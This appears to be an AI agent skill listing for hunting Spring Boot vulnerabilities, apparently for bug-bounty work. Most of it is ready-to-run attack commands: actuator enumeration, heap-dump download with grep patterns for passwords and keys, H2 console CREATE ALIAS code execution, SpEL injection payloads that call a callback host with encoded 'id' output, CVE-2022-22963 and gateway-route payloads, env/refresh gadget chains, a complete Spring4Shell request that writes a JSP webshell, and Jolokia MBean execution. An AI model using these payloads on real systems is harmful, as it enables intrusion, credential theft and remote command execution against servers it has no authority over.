Hunt Spring Boot specific vulnerabilities — Actuator endpoints (heapdump, env, loggers, mappings, shutdown), Spring Expression Language (SpEL) injection → RCE, H2 console RCE, Jolokia JMX exposure, Spring4Shell (CVE-2022-22965), Spring Cloud Function SPEL (CVE-2022-22963), heap dump credential extraction. Use when target runs Spring Boot — detected via X-Application-Context header, /actuator, Whitelabel Error Page, or Java stack traces.
87%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
Critical
Do not install without reviewing
Spring Boot Actuator /actuator/heapdump exposed = heap dump with all secrets in memory.
Highest-value findings:
/actuator/heapdump — full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory/actuator/env — lists all environment variables and Spring properties including secrets/actuator/shutdown — POST → shuts down the application (Critical availability impact)/h2-console) — in-memory DB admin UI → SQL query execution → potential RCE via CREATE ALIAS trick@Value annotations, SpEL-processed request params → RCE# Spring Boot indicators
curl -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"
# Actuator root (may list available endpoints)
curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null
# Try common base paths
for base in "" "/manage" "/management" "/app"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
[ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
doneBASE="https://$TARGET/actuator"
# High-impact endpoints
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics"
"loggers" "info" "health" "configprops" "shutdown" "trace"
"httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
"flyway" "liquibase" "refresh" "restart")
for EP in "${ENDPOINTS[@]}"; do
# Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
# page for many paths. Require actuator-shaped JSON (or a heapdump body)
# before calling it EXPOSED.
BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP")
CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
echo "[+] EXPOSED: $BASE/$EP"
fi
done
# Get environment variables (passwords, API keys)
curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20
# Get all endpoint mappings (full API surface)
curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort
# Get Spring beans (lists all registered beans, reveals internal architecture)
curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100# Download heap dump (can be large — 100MB+)
curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof
# Quick grep for secrets in heap dump (binary file — use strings)
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
grep -v "^[a-z_]" | sort -u | head -50
# More targeted extraction
strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u # AWS keys
strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u # Stripe keys
strings /tmp/heapdump.hprof | grep -oP "Bearer [A-Za-z0-9._-]+" | sort -u # Bearer tokens
# Use Eclipse Memory Analyzer (MAT) for deep analysis
# https://www.eclipse.org/mat/# H2 console detection
curl -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"
curl -s "https://$TARGET/h2" | grep -i "H2 Console"
curl -s "https://$TARGET/console" | grep -i "H2"
# Default credentials: sa / (empty password)
# JDBC URL: jdbc:h2:mem:testdb
# If accessible, RCE via CREATE ALIAS:
# SQL to execute:
# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {
# Runtime rt = Runtime.getRuntime();
# String[] commands = {"sh","-c",cmd};
# Process proc = rt.exec(commands);
# return new String(proc.getInputStream().readAllBytes());
# } $$;
# CALL EXEC('id');# Spring Expression Language injection in user-controlled fields
# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated
# Common injection points:
# - Email template fields: "Hello ${name}"
# - Custom annotation @Value("${user.input}")
# - Spring Security expressions
# - Spring WebFlow
# Basic SpEL test
curl -s -X POST "https://$TARGET/api/user/name" \
-H "Content-Type: application/json" \
-d '{"name": "#{7*7}"}'
# If returns 49 → SpEL injection confirmed
# RCE payload — note: exec() returns a Process, not a String, so a bare
# exec("id") produces NO visible output. Confirm via an OOB curl callback
# (the spawned curl makes the network request even though nothing is reflected):
curl -s -X POST "https://$TARGET/api/user/name" \
-H "Content-Type: application/json" \
-d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'
# CVE-2022-22963 — Spring Cloud Function SpEL
curl -s -X POST "https://$TARGET/functionRouter" \
-H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \
-d "test"If the gateway actuator is exposed, add a route whose filter body is SpEL, then refresh to evaluate it (escape inner quotes for your shell):
curl -s -X POST "$BASE/actuator/gateway/routes/hax" -H "Content-Type: application/json" \
-d '{"id":"hax","filters":[{"name":"AddResponseHeader","args":{"name":"X","value":"#{T(java.lang.Runtime).getRuntime().exec(new String[]{ \"id\" })}"}}],"uri":"http://x"}'
curl -s -X POST "$BASE/actuator/gateway/refresh"; curl -s "$BASE/actuator/gateway/routes"/env -> /refresh gadget RCEWhen /actuator/env accepts POST and /actuator/refresh exists, poison a property then reload:
# logback JNDI:
curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"logging.config","value":"http://$COLLAB/logback.xml"}'
# Eureka XStream deserialization:
curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://$COLLAB/x"}'
curl -s -X POST "$BASE/actuator/refresh"(Veracode: Exploiting Spring Boot Actuators.)
# Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);
# fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.
# Requires: Java 9+, Tomcat as WAR deployment
# Detection: does the app accept class.* parameters?
curl -s "https://$TARGET/api/user" \
-d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"
# Check COLLAB for HTTP callback
# Exploitation: write webshell via class loader
curl -s "https://$TARGET/login" \
--data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="# Jolokia provides HTTP access to JMX MBeans
curl -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20
curl -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20
# List all MBeans
curl -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type\|operation" | head -30
# Read system properties via Jolokia (may expose credentials)
curl -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" | \
python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key"
# Exec MBean operations (potential RCE via MLet)
curl -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"| Spring Boot finding | Chain to | Impact |
|---|---|---|
/actuator/heapdump | Extract DB passwords, API keys from memory | Critical credential exfil |
/actuator/env | Read all env vars including secrets | High |
| H2 console accessible | CREATE ALIAS → RCE | Critical |
| SpEL injection | T(Runtime).exec() → OS command | Critical RCE |
| Spring4Shell | Write webshell → RCE | Critical |
| Jolokia + MLet | Remote code via MBean | Critical RCE |
✅ Heap dump: strings command extracts readable passwords/tokens from .hprof file
✅ Actuator/env: secrets visible in JSON response
✅ SpEL: arithmetic expression evaluates (7*7=49) or OOB callback received
✅ H2 console: SQL executed, id output returned
Severity:
elementalsouls/Claude-BugHunter
7d10e74
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.